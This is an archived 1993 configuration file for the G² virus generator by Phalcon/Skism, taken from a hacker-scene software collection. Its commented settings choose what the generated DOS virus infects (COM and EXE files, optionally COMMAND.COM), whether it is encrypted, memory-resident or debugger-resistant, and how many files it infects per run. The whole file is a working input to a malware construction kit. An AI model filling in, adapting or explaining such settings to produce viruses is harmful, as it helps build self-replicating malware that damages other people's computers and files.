home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / G2.ZIP / G2.CFG next >
Text File  |  1993-01-01  |  4KB  |  114 lines

  1. ; Default configuration file for G² version 0.70ß
  2. ; Written by Dark Angel of Phalcon/Skism
  3. ; Lines beginning with semicolons denote comments
  4. ; There is only rudimentary syntax checking, so conform to the format shown
  5. ; by the examples.  Parameters may appear in any order.
  6.  
  7. ; Required parameters:
  8.  
  9. ; Filename = <string>
  10. ; This is the filename to be generated by G² as the source code file.
  11. Filename = target.asm
  12.  
  13. ; Infect = (C,E)
  14. ; COM, EXE
  15. ; Note: You can mix the two, a la "Infect = C,E"  Do not use a space to
  16. ;       deliminate the two parameters.  Note that this parameter has no
  17. ;       default value.
  18. Infect = C,E
  19.  
  20. ; Optional parameters - Defaults are shown in square brackets
  21.  
  22. ; VirusName = <string>
  23. ; The name of the virus should be placed here.  This string will appear
  24. ; directly in the virus code.  The only limitation to the string is that
  25. ; you may not use both the single and double quotes together in the string,
  26. ; i.e. the string B'li"p is not legal.
  27. VirusName = [G² Virus]
  28.  
  29. ; AuthorName = <string>
  30. ; The same constraints apply to AuthorName.
  31. AuthorName = Phalcon/Skism
  32.  
  33. ; Resident = <Y,N>
  34. ; (Yes, [No])
  35. ; Yes specifies the creation of a memory resident virus.
  36. ; No  specified the creation of a runtime virus.  (Duh!)
  37. Resident = N
  38.  
  39. ; ResID = XX,XX
  40. ; ([DA,PS], XX,XX )
  41. ; XX and XX are words.  If you find that the virus crashes all the time, then
  42. ; change the values.  The first value is passed to the int 21h handler and the
  43. ; second is returned from the handler.  Choose the values wisely.  This option
  44. ; is only meaningful in resident viruses.
  45. ResID = DA,PS
  46.  
  47. ; Encrypted = <Y,N>
  48. ; (Yes, [No])
  49. ; Only turn off encryption if you wish to limit the size of the virus.  G²
  50. ; generates a random encryption function for the virus if this option is
  51. ; enabled.
  52. Encryption = Y
  53.  
  54. ; IDWord = XX
  55. ; ([  ],XX)
  56. ; The IDWord consists of two characters which are used to identify already
  57. ; infected EXE files.  This option is not needed in COM-only infectors. Do
  58. ; not use an apostrophe (') or the source code will not assemble properly.
  59. IDWord = DA
  60.  
  61. ; MinSize = #
  62. ; (A,[0]..65535)
  63. ; MinSize is used only in the infection of COM files.  Files under MinSize
  64. ; bytes are not infected.  MinSize = 0 turns off this option.  MinSize = A
  65. ; indicates use of the virus's effective length as the minimum size.  This
  66. ; line is ignored in EXE-specific infectors.
  67. MinSize = 0
  68.  
  69. ; MaxSize = #
  70. ; (A,[0]..65535)
  71. ; MaxSize is used only in the infection of COM files.  Files above MaxSize
  72. ; bytes are not infected.  MaxSize = 0 turns off this option.  MaxSize = A
  73. ; indicates automatic calculation of maximum size. This line is not needed
  74. ; in EXE-only infectors.
  75. MaxSize = A
  76.  
  77. ; Infections = #
  78. ; ([0]..65535)
  79. ; Infections is an optional counter limiting the number of infections per run
  80. ; of the virus to a specific number.  Setting infections = 0 disables this
  81. ; option.  This is only meaningful in runtime viruses.  This option is highly
  82. ; recommended, as infection of all the files in a large directory may take an
  83. ; extended period of time.
  84. Infections = 3
  85.  
  86. ; ErrorHandler = <Y,N>
  87. ; (Yes, [No])
  88. ; ErrorHandler selects if you wish to include a short critical error handler
  89. ; in the virus.  This handler prevents Abort, Retry, Fail messages by taking
  90. ; over the critical error interrupt.  Attempted infection of files on write-
  91. ; protected diskettes will not generate an error if this option is set.
  92. ErrorHandler = N
  93.  
  94. ; CommandCom = <Y,N>
  95. ; (Yes, [No])
  96. ; This flag indicates whether you wish the virus to infect COMMAND.COM.
  97. ; Setting the value to 'Yes' turns off the check for COMMAND.COM, thus
  98. ; saving space.  This currently only functions in nonresident viruses.
  99. CommandCom = N
  100.  
  101. ; AllowZero = <Y,N>
  102. ; (Yes, [No])
  103. ; This flags whether the virus will allow an encryption value of 0, which
  104. ; would effectively leave it in an unencrypted state.  'Yes' disables the
  105. ; zero check, thereby shortening code length.
  106. AllowZero = Y
  107.  
  108. ; AntiDebugger = <Y,N>
  109. ; (Yes, [No])
  110. ; This flags whether the virus will be debugger-resistant.  This is only
  111. ; meaningful in nonresident viruses.
  112. AntiDebugger = Y
  113.  
  114.